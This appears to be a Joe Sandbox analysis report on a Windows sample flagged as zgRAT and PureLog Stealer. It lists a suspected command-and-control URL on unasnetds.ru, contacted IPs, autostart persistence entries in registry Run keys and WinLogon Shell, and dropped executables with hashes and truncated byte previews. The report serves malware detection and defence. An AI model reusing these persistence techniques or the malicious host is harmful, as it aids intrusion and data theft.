Name	Malicious	Antivirus Detection	Reputation
http://unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	VY76Af3CbT.26.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://www.fontbureau.com/designers/?	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://www.fontbureau.com/designers?	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://www.tiro.com	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://www.fontbureau.com/designers	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp, ZxHjJuaVnV.26.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp, ZxHjJuaVnV.26.dr	false		high
http://www.goodfont.co.kr	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	VY76Af3CbT.26.dr	false		high
https://support.mozilla.org/products/firefox	csrss.exe, 0000001A.00000002.2923235693.000000000303A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unasnetds.ru/	csrss.exe, 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	ZxHjJuaVnV.26.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://www.jiyu-kobo.co.jp/	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	VY76Af3CbT.26.dr	false		high
http://www.urwpp.deDPlease	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	ZxHjJuaVnV.26.dr	false		high
http://www.zhongyicts.com.cn	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Gg6wivFINd.exe, 00000000.00000002.1714628177.0000000003A50000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	csrss.exe, 0000001A.00000002.2966771042.000000001E6F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	csrss.exe, 0000001A.00000002.2949599561.0000000012F4F000.00000004.00000800.00020000.00000000.sdmp, lhNfwrNgdn.26.dr, Ub8s1j8cyR.26.dr	false		high
http://unasnetds.ru	csrss.exe, 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.000000000308A000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 0000001A.00000002.2923235693.0000000003125000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	unknown	European Union		13335	CLOUDFLARENETUS	false
188.114.96.3	unasnetds.ru	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583687
Start date and time:	2025-01-03 11:46:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Gg6wivFINd.exe renamed because original name is a hash value
Original Sample Name:	F59DF4574B5C3BB1F563A585B031DC2B.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@46/53@3/2
EGA Information:	Successful, ratio: 13.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 23.56.254.164, 20.3.187.198, 4.175.87.197, 13.107.253.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Gg6wivFINd.exe, PID 5924 because it is empty
Execution Graph export aborted for target Gg6wivFINd.exe, PID 7948 because it is empty
Execution Graph export aborted for target Gg6wivFINd.exe, PID 7980 because it is empty
Execution Graph export aborted for target Gg6wivFINd.exe, PID 8008 because it is empty
Execution Graph export aborted for target Gg6wivFINd.exe, PID 8164 because it is empty
Execution Graph export aborted for target SKldWJijnIiMahBoQJBr.exe, PID 5220 because it is empty
Execution Graph export aborted for target SKldWJijnIiMahBoQJBr.exe, PID 7512 because it is empty
Execution Graph export aborted for target SKldWJijnIiMahBoQJBr.exe, PID 7932 because it is empty
Execution Graph export aborted for target SKldWJijnIiMahBoQJBr.exe, PID 8020 because it is empty
Execution Graph export aborted for target SKldWJijnIiMahBoQJBr.exe, PID 8028 because it is empty
Execution Graph export aborted for target csrss.exe, PID 7688 because it is empty
Execution Graph export aborted for target csrss.exe, PID 7812 because it is empty
Execution Graph export aborted for target csrss.exe, PID 7940 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:47:09	API Interceptor	609091x Sleep call for process: csrss.exe modified
10:47:01	Task Scheduler	Run new task: csrss path: "C:\Users\All Users\ssh\csrss.exe"
10:47:01	Task Scheduler	Run new task: csrssc path: "C:\Users\All Users\ssh\csrss.exe"
10:47:01	Task Scheduler	Run new task: Gg6wivFINd path: "C:\Users\user\Desktop\Gg6wivFINd.exe"
10:47:01	Task Scheduler	Run new task: Gg6wivFINdG path: "C:\Users\user\Desktop\Gg6wivFINd.exe"
10:47:01	Task Scheduler	Run new task: SKldWJijnIiMahBoQJBr path: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:47:01	Task Scheduler	Run new task: SKldWJijnIiMahBoQJBrS path: "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:47:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SKldWJijnIiMahBoQJBr "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:47:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Users\All Users\ssh\csrss.exe"
10:47:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Gg6wivFINd "C:\Users\user\Desktop\Gg6wivFINd.exe"
10:47:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SKldWJijnIiMahBoQJBr "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:47:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Users\All Users\ssh\csrss.exe"
10:47:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Gg6wivFINd "C:\Users\user\Desktop\Gg6wivFINd.exe"
10:47:53	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SKldWJijnIiMahBoQJBr "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:48:02	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Users\All Users\ssh\csrss.exe"
10:48:10	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Gg6wivFINd "C:\Users\user\Desktop\Gg6wivFINd.exe"
10:48:27	Autostart	Run: WinLogon Shell "C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:48:36	Autostart	Run: WinLogon Shell "C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe"
10:48:44	Autostart	Run: WinLogon Shell "C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe"
10:48:53	Autostart	Run: WinLogon Shell "C:\Users\All Users\ssh\csrss.exe"
10:49:01	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
10:49:09	Autostart	Run: WinLogon Shell "C:\Users\user\Desktop\Gg6wivFINd.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
188.114.96.3	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	http://www.technoafriwave.rw	Get hash	malicious	Unknown	Browse	1.1.1.1
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	http://4.nscqn.dashboradcortx.xyz/4hbVgI3060FFjU163rczgakrldw288HJUBSXEIQRWLNTA425583MYLP8076x12	Get hash	malicious	Unknown	Browse	1.1.1.1
	ogVinh0jhq.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
CLOUDFLARENETUS	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	http://www.technoafriwave.rw	Get hash	malicious	Unknown	Browse	1.1.1.1
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	http://4.nscqn.dashboradcortx.xyz/4hbVgI3060FFjU163rczgakrldw288HJUBSXEIQRWLNTA425583MYLP8076x12	Get hash	malicious	Unknown	Browse	1.1.1.1
	ogVinh0jhq.exe	Get hash	malicious	DCRat	Browse	104.20.4.235

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\ObFbaRth.log	t8F7Ic986c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	544WP3NHaP.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	QH67JSdZWl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	U1jaLbTw1f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	KzLetzDiM8.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	aimware.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Windows Photo Viewer\en-GB\6a193675dec995

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	5.3177020088170766
Encrypted:	false
SSDEEP:	3:X9uphiTttSPOgcXEALy0sHu0nE4pAoTzxB:Xwwt8CjL0nE4fnxB
MD5:	EBA77197D48D06B245B4585E5019AD6F
SHA1:	F8069BC560C4E2CC5BA419EAFADCFF4FC9B52A02
SHA-256:	DB70712418A71D33FEF4F7FAE57BA2B31C3D52C5380595EA194F4520EDC2DACC
SHA-512:	92C3197BC03455DB36762CBD110B13179C4310F3A8E6BDADCB8DB4C83F73EADFA321D1A689E897A5F0596CEA4D561CCE88E2B55269D3B23170FDEBD64BFEE33C
Malicious:	false
Preview:	8BMpeXGN6QuBD746HH7qdG3lEixrloVLjonkqTzr5Q56Fp60i1GM4Il1Hkl5jYlS4jbYTUPySPvMK7gZl

C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1921536
Entropy (8bit):	7.536399913436409
Encrypted:	false
SSDEEP:	24576:phNuHmfG8hHHXznroUlO2JYm4hTUWfm4yw+fbEkb0JS6pnmJ3F1KKDirtJYKWdLI:pqGfG8VznrnlruwWfvaE/J5mJOtzSL
MD5:	F59DF4574B5C3BB1F563A585B031DC2B
SHA1:	74005BAD7458957B59505C4CA1EAF5464DC5FEDF
SHA-256:	DF0755B9D78D1E923A225189604215FDB48793F363691E7A7ED2126B481E94D1
SHA-512:	FE0B511C5F77E4859A58DFA71798DDAAF0260B44D7C9C51730CA0B16BDE6BCF8447183739BAE1D20530FD9B5D0E80C88CD665BF0325635098BACB2790E81CB45
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.rg.................J...........h... ........@.. ....................................@..................................g..K....... ............................................................................ ............... ..H............text...$H... ...J.................. ..`.rsrc... ............L..............@....reloc...............P..............@..B.................h......H....... ............... ....}..Lg.......................................0..........(.... ........8........E....).......9...8...8$...(.... ....~....{....9....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..'....... ........8........E............V..................8.......... ....~....{....9....& ....8........~....(g...~....(k... ....<s... ....8....~....(_... .... .... ....s....~....(c....... ....~....{....9I...& ....8>...8$... ....8/...8.... ....8 ...r.

C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Uninstall Information\6a193675dec995

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	277
Entropy (8bit):	5.734026420386111
Encrypted:	false
SSDEEP:	6:W10/ytjsLvD1VcTGLY7S2+Kb43hJxaLxUm4t2I3hrgBtOKT1PNbczSYn:njLZVXLY7Ju3P3mg2Ixgtl1PxUBn
MD5:	AFB64B36732D68082306E2E036EABE50
SHA1:	2A4B73138A52CE2BF09271F50AEA4E25FFC1AA03
SHA-256:	58D5AE4C3EB32FCF81F2CB56A156998B2C528605B2213FD428290D17EC1AB8EB
SHA-512:	46E71C5E8C965684744FD2EE1DDADA848406780C01D09111F6AECF9538B35A1281221D5861CA3637615B82C4C580624F4054EF56934FBA4BC3F4F895E23B59C9
Malicious:	false
Preview:	Ev9aNEirqpdWHsDrCwpqrNGr4SvBOf2rV9pr3pVhUWhGEz6qEnGwyli0pRf4ThcKwwBICWxXbIWUq9nFVE7lYG3uayClJbOx4WTSyyos0sUpONKpoaiOj1vq2QsNTLOA3jaUqVRhaOvpvNfMoW7t29NCknZhGaYoeUwpx09TIAyUGF4pufi7OfH3WYtC5tb90GLbb0ZyXnk2L26esuxk2ba9M2TZG6XYjye94dN3Gujk4PrdbOUL60HYqLPjh9saPLSWX6kPg3dH1zE6Kz72m

C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1921536
Entropy (8bit):	7.536399913436409
Encrypted:	false
SSDEEP:	24576:phNuHmfG8hHHXznroUlO2JYm4hTUWfm4yw+fbEkb0JS6pnmJ3F1KKDirtJYKWdLI:pqGfG8VznrnlruwWfvaE/J5mJOtzSL
MD5:	F59DF4574B5C3BB1F563A585B031DC2B
SHA1:	74005BAD7458957B59505C4CA1EAF5464DC5FEDF
SHA-256:	DF0755B9D78D1E923A225189604215FDB48793F363691E7A7ED2126B481E94D1
SHA-512:	FE0B511C5F77E4859A58DFA71798DDAAF0260B44D7C9C51730CA0B16BDE6BCF8447183739BAE1D20530FD9B5D0E80C88CD665BF0325635098BACB2790E81CB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.rg.................J...........h... ........@.. ....................................@..................................g..K....... ............................................................................ ............... ..H............text...$H... ...J.................. ..`.rsrc... ............L..............@....reloc...............P..............@..B.................h......H....... ............... ....}..Lg.......................................0..........(.... ........8........E....).......9...8...8$...(.... ....~....{....9....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..'....... ........8........E............V..................8.......... ....~....{....9....& ....8........~....(g...~....(k... ....<s... ....8....~....(_... .... .... ....s....~....(c....... ....~....{....9I...& ....8>...8$... ....8/...8.... ....8 ...r.

C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Gg6wivFINd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\6a193675dec995

Download File

